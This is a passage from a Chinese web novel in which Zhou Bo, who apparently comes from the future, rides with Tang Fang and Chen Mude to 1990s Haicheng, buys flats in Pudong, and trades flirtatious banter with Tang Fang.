周山妹,抓着裤衩子的手都没放,“就这个啊!” “唐放那孩子,给买的太多了!你瞅瞅你,这一天换一条,得穿到过年去了!” “你平时不都两条换着穿吗?这么些不穿的,放着多浪费啊!还不如给你做成衣裳!这些料子也好,你摸摸,也不知道哪儿买的,摸着真舒服,我给你做成衬衫。”周山妹兴致勃勃的说着。 周勃:“……” 唐放这家伙真的是,阴魂不散了都,人没在这儿,这儿都有他的事儿。 过了会儿。 “……这样,小姑,衬衫就先别做了,这好歹是唐放买的,你给他先做身儿吧。”周勃边说,边从黑色塑料袋里翻出豹纹裤衩子。 “他喜欢这个色儿的。” 周山妹接到豹纹,笑得直乐呵,“唐放喜欢这颜色的?” “对,他很喜欢,就是市面儿上买不到,给他耽搁了。” “想不到啊哈哈哈哈,唐放喜欢这个颜色,我之前还特地给挑出来,那些个小年轻好像都不穿这种颜色,唐放就是不一样,这孩子,倒是委屈他一直没买到了!”周山妹感慨,她手上活儿好,一个小时就能做出件儿衣服。 唐放的衣服简直再简单不过。 周勃都能想到唐放穿着这衣服有多“好看”了,他憋住笑,又给他小姑提议:“给他做件儿外套,背心儿还有短裤吧,正好一套儿。” “行。”周山妹立马答应,随后又犹豫:“但这些做完,你的衣服怕到时候料子就不够了!” 周勃笑得很是大方,他巴不得不做他的,大手一挥:“没事,这都是唐放买的,我能白得一件儿就很好了。” 一件裤衩能用的布料不多。还要挨个裁剪下来,豹纹的也不多,只勉强给唐放做了个短裤。 外套和背心则是各种颜色布料拼接而成。 外套看着不错有设计感,至于那背心,有种让人眼瞎的靓丽,谁家好人的背心是拼接的? 直接梦回七八十年代节衣缩食的时候。 周勃看着小姑给唐放做的衣服,看热闹不嫌事儿大,很好,很是满意。 …… 陈牧德最近忙的要死,没日没夜的加工,总算在出发之前把活儿干完了。 他累的像条死狗,但心情不错。 晚上吃完饭,陈牧德边唱着歌边朝唐放家走去,说起来他好几天没见着放哥了,之前去他家找他,还扑了个空。 “嗙!”大门硬生生撞开。 “放哥!” 唐放躺在躺椅上,没应声儿。 陈牧德刚进屋,一股凉风吹上他的脑门,“哎哟!放哥你咋空调开这么低啊!” 他席地而坐,脸上满是笑意。 唐放扫了他一眼,淡声儿道:“热,不行吗?” “行行行,当然行!”陈牧德跟着躺在地板上。 过了会儿,唐放瞥了眼他道:“你不去收拾东西,跑过来干嘛?” 陈牧德从兜里掏出一把钱说:“收拾什么东西,没有的,直接到了那儿买!” 唐放看着陈牧德脸上的笑,感情这人是过来炫耀来的。 唐放瞧着他脸上那止不住的笑,轻嗤一声,“瞧你那出息,这都是小钱。” 他摸出根烟,点燃,“周佳佳那边没什么问题吧?” 陈牧德稍稍收住笑意:“没问题!这肯定没问题啊!” 周佳佳,可是他周姐,要有问题,他不得把脑袋削下来! “没事就好。”唐放点点头,摁灭烟头,“你赶紧回去睡吧,明天凌晨出发,别到时候起不来。” “奥,对了,明天周勃和我们一起去。” 陈牧德一惊:“周勃也和我们一起?他明天也要回海城?” “不回海城,留在这儿种地?”唐放怼了他一句。 陈牧德一噎,转念一想,人在海城是有事业的,回去也正常。 “行吧。” “嗯,”唐放想了想,不知想到什么,丹凤眼眸光流转,说得理直气壮:“你明天自觉点儿,自己坐后座。” “开车转头看着你的脸,磕碜,怕车打滑。” 陈牧德又默了,纳闷,他放哥咋变成这样了?说话就这么直白了嘛,他也没这么丑吧! 第26章 第 26 章 来的时候周勃没带多少东西, 走的时候东西也不多。 约好了时间,他凌晨早早起来,拖着行李箱走出院门,唐放的车停在不远处, 车灯老远开着, 亮得晃人, 像是生怕别人不知道他在那儿似的。 周勃拖着行李箱走进, 就见唐放正蹲在车轮那儿, 丹凤眼轻轻垂着,神色淡淡的吞云吐雾。 天都还没亮,周勃看了眼四周, 这是个空旷地儿, 离村口比较近,车灯扫射范围内野草丛生。 夜幕包裹着的房屋时不时传来几声狗叫。 “陈牧德还没来?”周勃从烟盒中抽出支烟, 打火机“啪”的一下点燃。 唐放仿佛这才注意到有个人来了,他向右边儿看去, 首先映入眼帘是一双黑皮鞋。 笔直的西裤从他这个角度看着, 显得人腿更长了。 “……这孙子, 怕是睡过头了,现在几点了?”唐放面色不变, 将烟头在地上摁灭。 周勃看了眼手表时间, “四点。” “……再等一会儿。” 他们约定的凌晨四点半出发, 现在距离四点半还有半个小时,也不存在迟到的问题。 周勃稍稍点头, 他掐灭烟, 静静站在原地等,这是他在这儿第一次去海城, 90年代的海城,在他印象中已经模糊了。 唐放也是第一次去海城,他也没说话,和周勃不同,他心中没来由的升起点点烦闷。 去了海城,那就意味着,他们是真的要分道扬镳了,海城这么大,估计只有过年才会见上几面。 男人,总是要先以自己的事业为先,不成功有钱的男人,在哪儿都让人看不起。 唐放自然有着自己的规划。 周勃也有。 回想起来,在村里这段时间,过得也挺舒心的。 两人各想各的。 过了十多分钟,陈牧德来了。 陈牧德脸上满是笑意,他可是迫不及待想去海城了,唯一的顾虑是怕他走了后周梅就找男朋友嫁人了。 昨晚上特地打了电话给周佳佳,让她帮忙留意,好声好气求了许久,人才终于答应。 现在什么事儿都齐全了! 陈牧德只等着到了海城跟着放哥赚大钱,然后回村风风光光追求周梅! “放哥!周勃哥!你们怎么不上车啊!快走吧,早点儿过去早点到啊!”陈牧德见两人都愣着不说话,赶紧招呼着,自己首先坐上后排。 唐放站起身:“走吧,出发了。” 桑塔纳从村头驶出,沿着蜿蜒的村路进入马路…… 路上,满是兴奋的陈牧德从腰间掏出个小兜,拿出自己宝贝的磁带放进去。 “开车,怎么能不听歌呢!” 带着故事感的男声从播放器中传出,这时候年轻人最喜欢的励志歌曲,《海阔天空》不知多少个夜晚鼓舞着那些远离家乡打工的人。 “今天我~寒夜里看雪飘过~” “怀着冷却了的心窝漂远方~” “风雨里追赶~雾里风不清影踪~” “天空海阔你与我~” …… 伴随着歌声,桑塔纳一路前行,奔向未知未来的旅途。 …… 车开了几个小时,黄家驹的歌放了一遍又一遍,听多了也腻了,陈牧德恋恋不舍的抽出磁带,换了另一个进去。 除了后世鼎鼎大名的歌,这个时代同样出现了很多经典歌曲。 周勃听到的就有《花心》、《吻别》、《小芳》、《新鸳鸯蝴蝶梦》、《爱如潮水》…… 同时,这些也是街头最流行的歌曲。 陈牧德所有磁带放完,又把黄家驹的歌放了一遍,他特喜欢歌里那种向上拼搏的味儿。 要放在后世,那就是正能量歌曲。 “要beyond乐队再出几首歌就好了。”陈牧德舔舔嘴唇,“到时候我全放一起,晚上的时候听特有感觉!” 周勃记得最出名的这首《海阔天空》之后,黄家驹就没有其他出名的歌了。 他轻笑两声道:“那你可要好好等了。” “等不了多久的!”陈牧德很有自信。 周勃忘了黄家驹是什么时候去世的,但就记得,海阔天空这首歌是他去世之前最出名的歌。 要还有其他的出名的歌,后世不可能没听过。 唐放一路上没说话,专心致志的开车,静静听着他们聊天,这时候都还没高速呢! 国内第一条高速公路——京津塘高速公路都要到九月份通车去了。 这时候人开车只能走国道,大大小小的车都走国道。 时不时还能碰见些傻|逼不按交通规则来在国道上倒车,想要保持速度,那是一点都不能分心。 中午,三人随便找了家餐馆吃饭,凌晨四点多出发,中间连口水都没喝,三人早已饥肠辘辘。 陈牧德拿着菜单点了个小炒肉,又将菜单递给唐放。 唐放拿过菜单,先是看了上面有什么,扫了一圈,然后开始点菜:“来份炖排骨、凉拌海带丝、辣子鸡。” “你吃什么?”唐放看向周勃。 周勃见已经点有三个荤菜了,便加了个自己喜欢的素菜:炒菜花。 炖的排骨没他小姑做的好吃,周勃简单尝了两块后就不动它了,专心吃着菜花和辣子鸡。 反倒是唐放,在周勃不动筷子后,排骨他收走了大半,菜花和辣子鸡没动多少筷子,等到周勃和陈牧德放下筷子,他两三口把所有菜清扫干净。 完了陈牧德撑得不行,周勃也饱了,是唐放收的尾,他也没说自己饱没饱。 三个大男人,硬是将菜吃得干干净净。 不过周勃想起对方之前在医院干完饭又去他家干饭的饭量,觉着这人一定是没吃饱。 “去买点吃的,路上嚼着吧。”周勃说,目光看向唐放。 他们俩人今天兴致都不高,没怎么说话,周勃这时候开口,唐放肯定不能拒绝。 俩人让陈牧德进去挑,他年纪最小,正是对这些最感兴趣的时候。 甭管之前吃得多饱,现在肚子里都还能再撑撑。 唐放站在店门口的垃圾桶旁,从裤兜里摸出支烟。 周勃才吃完饭,不是很想抽,拒绝了他递过来的烟,他站在树底下,侧头看着唐放。 这人今天不知怎么的,话少了许多,这时候正眯着眼睛抽烟,一只手插在裤兜里,不知道想着什么,目光空旷。 整个人带上些懒散气质,风轻轻吹过他的发梢,在阳光下,靠近末尾的发尖金灿灿的,身姿挺拔,修长的脖颈上是性感的喉结,冷峻的下颚线异常锋利,一双丹凤眼更是神来之笔,帅得懒散又放肆。 周勃很清楚的看到,不知是多少个盯着唐放走不动道儿的姑娘反应过来后悄悄红了脸蛋。 甚至还有走过的男人,也忍不住回头看了他两眼。 唐放这长相,搁在后世,光是直播睡觉怕是都有不少打赏。 现在的人朴实,姑娘害羞,敢上来搭话的少之又少。 唐放也注意到了。 不是别的,周勃那盯着他的目光让他想注意不到都难,他脸上是有什么东西吗? 唐放没动,他不知道周勃盯着他是要干什么,只能保持不动,烟要燃到他手指缝都没感觉。 还是周勃提醒他:“你的烟!” “奥,奥。”唐放恍若梦醒,将烟摁灭,扔进垃圾桶里。 周勃忍不住道:“想什么呢?这么入神?” 唐放看他一眼,不说话,他舔舔嘴唇,十分平静的反问:“你刚才看我那么久干嘛?” 周勃眯着眼,中午的太阳逐渐大了,有点刺眼,他笑着说:“看你长得帅呗,你刚才没看到多少小姑娘看着你都走不动道儿了?” “这我没注意,”唐放淡淡的说,他走进树底下,蹲下:“对了,你住在海城哪儿?我到时候开车送你过去。” “没必要,你到时候到了市区把我放下就行了。”周勃说。 唐放:“……” 陈牧德买好了东西,很快回来,三人又开始上路。 一路上换着开,也没指着唐放一个羊毛薅,等到海城,已经是第二天上午的时候了。 93年的海城啊! 只是光看着,就知道比县城繁华了多少倍。 周勃走之前,忽的想起了什么,从行李箱中翻出个黑色塑料袋递给唐放,笑眯眯道:“我小姑给你做的,正好给你。” 唐放挑眉,他接过塑料袋,陈牧德凑上头来看:“这什么啊?” 一件外套,一件背心,以及一条引人注目的豹纹短裤。 前两件翻出来,陈牧德还乍舌:“周勃哥,你小姑做衣服还挺好看的。”他指的是那件外套。 等到短裤出场,陈牧德不说话了,开始乐。 唐放的目光定在那豹纹短裤上,看着有点眼熟,没等他想是那儿眼熟,陈牧德乐得拿起短裤。 “放哥,这豹纹短裤看着挺不错的啊,适合你,好看!”陈牧德竖起大拇指。 周勃听着陈牧德的夸赞,嘴角的笑意渐浓,只是有些可惜,怕是不能亲眼见对方穿了。 唐放对陈牧德的夸赞不置可否,他对自己的长相很清楚,一条豹纹短裤而已,他穿什么都好看。 “……周姨没给你做?”唐放看向周勃。 周勃说:“做了,做了件外套,和你那个差不多。” 陈牧德对外套很是欣赏,此时羡慕道:“周姨怎么不给我做一件啊!” “材料有限,”周勃笑着说:“本来想给你做来着,但是布料不够了。” 陈牧德对这个理由很是满意,原来是打算给自己做的啊!没想到周姨还能记着他! 唐放很快收好衣服,那件外套被他单独放在一旁,看着周勃再度询问:“真不用我送你?” 周勃一顿,他是有点想让人送的,但都白蹭了这么久车了,再蹦下去有点良心不安啊。 唐放看出他的犹豫,笑了。 这是他这两天的唯一的一个笑,直接打开车门,“上来!我送你过去!” 第27章 第 27 章 周勃住的地方距离市中心不远, 刚进海城的桑塔纳慢悠悠绕着街道驾驶。 车开得慢,一股香味从车窗外飘进来,陈牧德闻得直流口水。 完了开始接近市中心。 喧闹的人群更多了,大多骑着自行车, 不少货车公交车也从路上过, 在车上听了一路的歌又出现在海城街头。 年轻人越多的地方, 歌越是响亮。 三三两两穿着饱和度明亮的T恤短裤的年轻男孩站在电线杆底下, 抽着烟乐呵着不知道说着啥。 还有路过穿着裙子的姑娘, 一头长发用简单的发带绑出漂亮的弧线。 由于西方文化的流行,甚至还能看见些烫发染发的姑娘,抬头挺胸, 笑眯眯的走着, 像只高傲的孔雀。 陈牧德看花了眼。 有骑着自行车的人从车旁边过,看了眼从车里探头探脑的陈牧德, 估计是在猜测这是刚来海城的人,见怪不怪, 施施然脚一蹬, 走了。 这时候是上午, 距离中午饭点儿不远了,路过骑着三轮儿的还有刚收摊卖豆浆油条的大妈。 一切都很新鲜, 充满市井气息。 和后世的鲜艳明亮的国际大都市海城有着天壤之别, 周勃看着窗外的一切, 有点儿恍惚。 谁能想得到只短短十几年时间,海城的城市化建设能这么快。 唐放没陈牧德表现得那么夸张, 他很是淡定, 说到底,他虽然是第一次到海城, 但又不是没去过别的城市。 沿海的城市,都这样。 周勃是租的房子,一房一厅,在三楼。 下了车,唐放还亲自给他把行李箱提上楼。 “进来喝杯水。”周勃给俩人倒水。 唐放和陈牧德进去。 周勃的住处是让人惊讶的干净。 男人对这些都没个讲究,回家了,衣服一脱就随便放了,导致家里看起来乱糟糟的打太极一样。 周勃家倒不是,看上去井井有条。 他在这儿住了点时间,家里能换的家具他基本都给换了,换成了时下最流行的新中式家具,看上去就和外边格格不入。 陈牧德进去都不敢随便乱摸,拘谨的喝着水。 “周勃哥,你这椅子,得多少钱啊?” 他说的是红木雕刻而成的椅子,周勃想不起来具体多少,“大概是几百吧。” 陈牧德乍舌,几百块都差不多是一个月的工资了! 这到底是一百多,还是九百多谁也说不准。 见着放哥老早就坐下了,陈牧德抖着腿也跟着坐上去。 这时候他终于对周勃是海城的老板,有了个具体概念,妈呀,一张椅子抵他一个月工资了! 俩人从周勃家下来,陈牧德还晕晕乎乎,唐放则是拿上号码了。 汽车尾气喷出—— “放哥,咱们这去哪儿啊?” “先去买个寻呼机。”他看到唐放家里放着个,这才想到,自己好像没有。 “啊?” 周勃目送着车辆驶走,他自己喝了两口水润润嗓子,开始回忆这时候海城的房价。 他要尽快,在海城买个房子。 至于上班? 先放着吧,反正过几天不去上班,公司也不会倒闭。 他的公司早就走上正轨,之前在政府那边拍了块地,做成了商场,需要引入商家。 好的老板,要学会把工作交给下属。 只要钱到位,员工是不会不满的。 买了个寻呼机,唐放带着人去了王伟杰他们租房子的地儿。 他们租房子一般靠近工地,因为接到项目,好多人不在出租屋,倒是王伟杰,一早接到唐放的电话,在出租屋里等他们。 “艹啊,放哥,你终于来了!你都不知道我们都开工有段时间了!” 唐放放下东西,扫到屋里没人,“都出去了?” 王伟杰皮肤黑,人年轻,笑起来很是健康,“对啊,不少人去工地了,小敏去跑材料了,尽量用最低的价钱谈下来。” 他眼睛尖儿,瞅到唐放身后还站着个人,“你后边儿的是谁啊?” 唐放身子侧开,露出身后的人,“你们应该认识。” 两个人就这样猝不及防的见面,顿时空气稀薄,陷入沉闷。 陈牧德早在听见王伟杰声音儿那会儿就尽量缩小自己存在了,躲在唐放背后,没想到唐放根本没给他缓冲的机会,直接把他暴露在外。 一时间,俩人面对面。 王伟杰脸上的笑容僵住。 陈牧德面无表情看天看地,就是不看对方。 这俩早有纠缠,孽缘。 起因很简单,王伟杰有个前女友,叫周梅,陈牧德有个心上人,叫周梅。 王伟杰和周梅分手,陈牧德以为这人是个渣男,不道德的出轨甩人,一时气不过,找人把王伟杰打一顿,结果打人的没打到,反倒被人反杀,被一通教训后把幕后主使陈牧德供出来了! 至此,俩人结下梁子。 也幸好俩人还有个中间人,唐放。 不然指定有一顿打,最后是双方都看不对眼,属于,一个在另一个就铁定不在的状况。 这次唐放没提前给俩人说对方的存在,也是想着这俩人能不能有个和解的机会。 但看着这俩见面的样子,暂时怕是没了。 唐放没那么多纠结,叫王伟杰给他找了个干净的房间。 躺倒,睡觉! 徒留王伟杰和陈牧德俩人大眼瞪小眼。 半天后,俩人同时撇开眼,把对方当做空气。 …… 到了夜晚,房子里陆陆续续有人回来,这栋楼一整层都被他们租了下来,正好用来庆祝唐放回来。 大家伙做了一大桌子菜,配上啤酒和烤肉,吃得不亦乐乎。 里面大多都是最开始跟着他一起干的兄弟,这次庆祝,唐放难免喝多。 其中还有个干练的姑娘拿着啤酒瓶过来敬酒,她笑颜灿烂,“来,放哥这回来,不得好好喝上一杯!” “你那是一杯??” “哈哈哈哈哈小敏!你今天是不把放哥干趴下不算数啊!” 王伟杰看着自家妹子,脸黑了一半,哪有那个姑娘家家,一只脚踩在凳子上的,还对着酒瓶吹! 不过看着她满脸兴奋,一双眼睛盯着唐放亮晶晶的,王伟杰没开口劝。 王敏是王伟杰的妹妹,自跟着他认识唐放后,就喜欢上了他。 这整层的人谁不知道王敏喜欢唐放? 也就是唐放一直表现平平,全是王敏单方面的示好,众人才恍然,感情这是女追男啊! 这下看着王敏的兴奋样儿,众人看好戏的劲儿头来了。 “来来来!放哥!你可不能怂啊!” “人姑娘都来找上门了,你要还这样那就是不近人情了啊!” 众人纷纷起哄,看热闹不嫌事大。 陈牧德此时也安静如鸡的坐在桌子旁,桌上的人他都认不全,不知道情况也不敢瞎起哄。 经过下午的一睡,休息的很好,唐放挑眉,丹凤眼一斜,那模样儿像是在告诉众人,他唐放什么时候怕过! 不过欺负人姑娘不算什么事儿,唐放眼睛精准的从桌上儿找出陈牧德,“陈牧德,你过去,替王敏喝!” 陈牧德此时懵逼,咋还扯上他了! 王敏眉头一皱,清亮的声音带着焦急:“不是,怎么能让他替我喝呢!是我要和你喝!” 小姑娘焦急起来,鼻尖儿冒出层清汗,她长得好看,此刻的模样让有些人暗暗咽了口口水,看呆了。 王伟杰看得分明,一张黑脸更黑了,他站起身,骂骂咧咧:“你个姑娘家家,学什么喝酒!拿过来。” “唉!哥!” 一瓶酒到了王伟杰手中,王敏阻止不了哥哥的动作,见唐放根本没看她,只好不情不愿的坐下。 陈牧德见有人替自己拿了酒瓶,擦擦额头的汗,还好。 接着就是男人们两边的叫好,一边赞叹“王伟杰,你小子真能喝啊!”,一边又为了唐放的干脆果断赞叹“艹!还是放哥牛|逼啊!” 有个别起劲儿的玩起了游戏。 “两个小蜜蜂啊!飞到花丛中啊!” “左飞飞!啪啪” “右飞飞!啪啪” 猜拳,输了的人喝酒! 等到接近凌晨一点多的时候,终于是散了,部分喝酒喝得糜烂的人直接地板儿上一躺,完事儿。 陈牧德一晚上,倒是没喝多少酒,跟着人乐呵呵的左一句哥右一句姐开始搞卫生套近乎,新来的,总要多做些。 他这样上道儿热情,有些哥们还真喜欢,“来来来,这边,你啥时候来的啊?” 陈牧德乐呵呵走过去。 唐放把自己的对手全喝趴下后,慢悠悠去厕所放了水,随后倒躺在床上。 酒精让他的大脑持续兴奋,汗水蹭湿他额前的头发,一缕一缕。 大字躺在床上,天花板上,昏黄的灯泡亮得刺眼,唐放却是目光恍惚,虚虚的看着前方。 良久,唐放半身侧躺,斑驳的颜色在他眼前晃过,他伸手拿过来。 这是那件周勃小姑给他做的外套。 唐放看着眼前的外套,拿到面前,手上丝滑的触感轻轻柔柔,让他莫名想起周勃,那天晚上,他腹部的触感好似也是这样。 紧致细腻。 唐放的手下意识用力磨砂着衣服表面,一双丹凤眼轻轻眯着,像是个喝醉酒人朦朦胧胧,又像是思考着什么,在感受着什么。 周勃,他现在在干什么呢? …… 周勃现在在干嘛? 他老早上床躺着了! 一点多的海城,除开出来鬼混的人,哪个不是舒舒服服躺在床上睡觉? 他明天可还要去看房子呢! 第28章 第 28 章 周勃早早的起床, 他目前身上现存的现金有五十万左右,剩下的是不动产。 公司买地皮建商场房子,这些租给商户就是源源不断的金钱,金钱在公司囤积用以发工资及各种开销, 还包括再拍地皮赚钱。 其中不光要有眼光选择好的地皮, 还需要你得有钱拍回来。 做房地产的都是人精儿, 个别儿的要提前得知接下来政府的规划, 运气好能以极低的价格拍到。 但不管怎么样, 始终是比政府批给工厂的土地价格要高上不少。 如果你要是很看好一块地,想要拍下来,但是又没钱怎么办? 找银行贷款。 用现有的土地作为抵押, 向银行贷款, 通过买回来的土地建设再出售。 这是大部分房地产公司的底层逻辑。 用杠杆撬动市场。 风险大,收益高, 但凡其中一个环节出问题,那就是资金链断裂。 不过现在属于房地产行业的上升阶段, 等到九八房改过后, 房地产将会一步步走向巅峰。 周勃从后世而来, 自然知道后世的海城哪些是好地段,哪些不是。 从根源上解决问题。 海城如今的房价根据地段的不同而不同, 便宜的到1000元/㎡, 贵的接近市中心的到4000+/㎡。 一个120平的房子从12万~48万。 放在任何一个普通家庭, 这都是一笔巨款。 放在周勃身上就不是了,他没有为钱发愁过, 相反, 便宜的贵的他都卖的起。 这时候海城的房子,不管买哪套, 放在未来都是赚的。 周勃一个上午逛了很多地方。 他目前只有这么多现金,只能买一套房的情况下,自然要选择最高性价比。 “老板!看看房子,我们这个楼盘是位置可好了,各种户型和价位都有的!” 穿着职业服的销售人员笑脸盈盈的朝看房的人推销。 他们的主要推销对象,都是那种看起来有钱,或者带着女伴的人。 前者可能有能力,后者则是刚需。 周勃看着年轻,不像一口气能拿出大钱的人,也就没人过来招待。 他也不恼,这些销售人员卖房都是按有提成的,自然谁能给他们带来提成,就优先照顾谁。 “帅哥,是要看房吗?” 这时候一个长相清秀的姑娘走过来,她笑眯眯的介绍:“我们这儿的房子各种户型都有,南北通透,距离公交站也近……” 周勃浅浅笑着,听她说完后才问:“你们这儿的房子价格是在哪儿?” 这姑娘一愣,随后很快反应过来,“是这样的,我们这个楼盘是新开的,通常是3500/㎡。” 这个位置,价钱是合理的,周勃点点头。 赵秀秀是新来的销售人员,算是这个行业的菜鸟一枚,抢不过其他老谋深算的老人,也没其他人有人脉资源。 周勃算是她第一个客户了。 赵秀秀眼见他要走,以为他是嫌价格高了,连忙小声道:“是这样的,我们这边的价格是这样,要是您觉得高的话,这儿也有便宜的。” 周勃挺住脚步:“便宜的?”任谁听到便宜二字不会住脚? “对!”赵秀秀连忙点头,“有便宜的,我们公司这不止这一个楼盘,有价位在1000左右的。” “位置在哪儿?” 问到位置,赵秀秀面露难色,位置自然是差,不然也不会这么便宜。 周勃也就是随口一问。 “在浦东那儿。” 周勃一顿,他差点给忘了,这个地方。 现在可是流行一句话来着,宁要浦西一张床,不要浦东一套房! 由此可见,对于浦东,大多数的人很是不看好。 这就导致,那边的房子卖不出去啊! 但是,周勃知道,浦东,是迟早要发展起来的,风水轮流转。 赵秀秀也没想到,自己随口的一句话,让原本要走的周勃挺住脚步,她小心翼翼带着人去看了浦东的房子。 战战兢兢,本以为会告吹的项目,周勃在看完了几套房子后直接拍板。 他总共要了三套房,浦东的房子卖不出去,他买三套还给打折。 带着钱签下合同后,赵秀秀回去的脸都是木的。 有同事好奇的过来问:“你带他去看房子了?买了吗?” 赵秀秀木木的点头,竖起三根手指。 同事倒吸一口冷气,“我的妈呀!三套!想不到是个大老板啊!” “是那儿的房啊?”又有同事凑上前来问。 赵秀秀吞吞口水,“浦东那边的楼盘。” “嘶!”同事们均抽气。 “这是哪儿来的撒钱的老板啊!” “这钱多的没地方花了啊!” …… 三套房,不是周勃的极限。 要是可以,他还能买下一栋楼,当然是不高的楼层。 三套房买完,他手里还剩下十万左右。 不可能把小姑接过来住浦东吧,现在大部分的居民都在浦西,浦东那边人太少了。 想了想,周勃去了公司附近。 他公司离市中心有点距离,在他公司旁边开着好几家相同的公司。 同理这边儿住着的包工头也多。 唐放是接近中午才起来的,王伟杰满脸复杂的递给他药和水。 “这是什么?”唐放皱着眉头,没搞懂。 王伟杰也搞不懂,他说:“这是小敏早上给你买的醒酒药,怕你早上起来头疼。” 唐放:“……谢谢你妹子了,下次不用了。” 喝完水,唐放有点无语,他抓了把头发,“不是,你妹还喜欢我呢?” “……你说呢?” “……” “我要喜欢她早和她在一起了,她不知道?”唐放挑眉道。 就是因为知道,王伟杰脸更麻了,“就是因为你没喜欢的,她才不死心啊!” “我都搞不懂了,我妹有什么不好的?”王伟杰说起来还有些委屈,谁乐意自家妹子这么苦哈哈的倒追,当初他知道自己妹子喜欢唐放的时候,还特高兴,想着俩人也登对儿。 没想到,到头来,结果是一头热。 热脸贴冷屁股,这热脸还怎么都赶不走的那种。 唐放瞥了眼王伟杰,“没感觉。” 就这三个字,给王伟杰气笑了,“感觉那是说来就来的!你得先处着!日久生情懂不懂?!你当是电视剧啊!感情说来就来,屁的没感觉!我就没见你有感觉过!” “我妹那么漂亮的人,追她的人多了去了!” “那让她找别人去吧。” 王伟杰气得咬牙,“嘿!我就不信了!我倒要看看你以后找个啥样儿的!就你这没感觉那没感觉的,指不定你喜欢的人对你也没感觉!” 这话说出来,唐放第一个不同意,他那丹凤眼一暼,语气中满是自信:“那不可能!我长得又帅,又有钱能干,会不喜欢我!” 也就是这自信的模样,用在这儿真叫人牙痒痒。 王伟杰好半天才幽幽道:“你放心吧,风水轮流转,迟早有你哭的那天。” 唐放挥挥手,示意人可以滚了。 王伟杰也就是这时候回来一会儿,还有事儿在身,麻溜的拿上东西走人了。 等到王伟杰走了,陈牧德偷摸摸探头探脑。 唐放刚下床,就和他目光对上。 陈牧德露出个讨好的笑容,“放哥,你起来了啊!” 唐放觉着自己后槽牙有点疼,“你干什么呢?” “过来你看看你还在吗嘿嘿。” “你看到了” “看到了看到了!我走了!” 唐放一把拉开窗帘,拾起床上的衣服,昨晚上那外套被他揉得皱巴巴的,得洗了。 他洗完澡和衣服,顶着湿漉漉的头发双手撑在阳台上,眯着眼抽烟,一个熟悉的身影吸引了他的注意力。 唐放忍不住露出抹笑,嘿,你说巧不巧,昨儿个才分开的人,今天就碰见了,这不是缘分是什么? 周勃正在他公司附近找出卖的房子。 这附近的房子,买个小二手房是可以的。 可能是后世钱花多了,现在这钱花的他一点儿不心疼,跟撒撒水似的。 “周勃!” 周勃差点以为是自己幻听了,不然怎么会听到个熟悉的声儿,他狐疑的转头,嘴角抽抽。 没幻听。 一张熟悉的脸,熟悉的人斜靠着电线杆,好歹不是村里穿的背心了,穿了件儿白色T恤,这也没能挡住他要好的肌肉线条,抱着的手臂肌肉明显,那纹身仿佛要从皮肤中咆哮出来,黑色短裤下是有力的大腿。 湿漉漉的头发,头上的水珠滴落,湿了他的领口,唐放却是毫不在意,那双丹凤眼眯起来像只正思索着从哪儿下嘴的狼。 就连那薄薄的唇上扬着,都带出几分叫人琢磨不透的意味。 “你怎么在这儿?”周勃走过去。 唐放看着面前这人,才一天不见,就把自己捯饬得更亮眼了,不然他怎么会眼尖儿的一下就注意到他了。 “我住楼上。” 唐放看着周勃,“你呢?你过来干嘛?” 周勃看了眼唐放住的楼,这是很显眼的筒子楼,一层估计住着好几户,外边儿还能通过阳台看到房门。 “我公司在这儿附近。” “……这时候才上班?” 不知道为啥,有的话从唐放口中说出来,真有种挑衅的意味。 周勃摸出烟盒:“……不是来上班的。” “来视察员工的?” 周勃拿烟的手一顿,脚踢到唐放小腿,笑眯眯道:“……我有这么刻薄?” 这一踢不痛不痒,跟挠痒痒似的,唐放倒是笑容拉大,“那你来干什么?” “干|你!” 第29章 第 29 章 唐放忍不住看向周勃, 他眼尾儿的笑意勾人,简单的两个字让他裤腿贴着皮肤的烟盒烫得吓人。 一股电麻感顺着他的脊背上移,唐放嘴角的笑意不自觉拉大。 知道周勃这是典型的,嘴瓢了, 唐放没和他计较。 “所以你到底是要去干嘛?”唐放听见自己的声音沙哑。 “没干什么, 就是想在这儿附近买个房子。” “怎么?”周勃笑笑, “你有推荐?” 唐放哪儿能有什么推荐, 他自己都刚来, 人生地不熟,他敢推荐,周勃敢买吗? 周勃确实不敢, 他也就随口一说。 “不过我可以陪你逛逛。”唐放懒洋洋道, 他的目光紧盯着周勃,从最开始就没移开过视线。 不似周勃, 眼睛总是时不时向四周扫一眼,花心得很。 “你?”周勃转头看向唐放。、这人头发还是湿哒哒的, 水珠顺着发丝滚落, 甩在地面上留下斑驳。 唐放见周勃半天没说话, 他挑眉:“怎么?不信?” 周勃迟疑了片刻:“你这是刚起来吧?” “……” 周勃说对了,唐放很是淡定:“刚起来咋了?怎么, 歧视熬夜的人?” “没, 走吧。” 多得了个劳动力, 这可是十分划算的事儿了,周勃没这么傻。 …… 两人在公司附近找了一圈儿, 这边儿没楼盘, 只能找一些正准备出租的二手房,这种二手房大多是在海城过不下去了, 或者有事儿要急卖。 周勃连看了好几家,把唐放头发都给跑干了也没见着满意的。 不是环境差,就是太过于偏僻。 走走停停好几家,周勃终于看到间满意的房子,户型很好,两室一厅,阳台大采光好,地理位置距离菜市场和商场近。 周勃摸摸墙皮,甚至能看出这是刚装修不久的房子。 怎么刚装修就着急了要卖? 卖家是个大叔,不是房东本人,说话没隐瞒,“这原本是房东给儿子准备的婚房,但儿子因为工作关系出国了,儿媳妇也跟着过去,成了国外人。” “眼看着这房子没用,这才考虑要卖掉。” 看出周勃有满意那味儿了,大叔觉得有戏,“怎么样?这房子已经算是这附近最好的二手房了!我这边都还有其他人想要买呢!” “如果满意的话,可以先交定金的!” 周勃又四处查看了下,他是觉着这房子不错,要是价格合适,买下来也可以。 “怎么样?”周勃看向唐放。 唐放没说话,目光在房中的各个角落游走,从玄关到卧室,从厨房到厕所,停住了。 “厕所的这个地板,角度不对。” 话刚出,卖房子的大叔面色一顿,他笑呵呵:“哎哟!小伙子,你可别乱说啊!这刚装修的房子,都还没住人!你这乱说话,到时候我卖不出去了都!” 唐放自己刚出来那会儿,搞的最多的就是装修,怎么可能不清楚,他笑得淡定:“这弄厕所的,是个新手吧。” 这话一出,大叔住嘴了。 厕所这儿的功夫确实是个新手,他外甥干的,人想出来干活,这不得给他个练手的机会? 再加上他和这房东熟得很,不然也不会信任他,让他来找人装修,甚至后边还让他代为卖房子。 水滴落在地板上,却不流向下水道口,先在另一处汇聚成洼,随后再因着高低落差缓缓流向下水道口。 从水落到地板上开始,这水洼聚成就没散过。 唐放关掉水流,“这就算是新手,也不会范的错误。这个人,怕是喝醉了吧。” 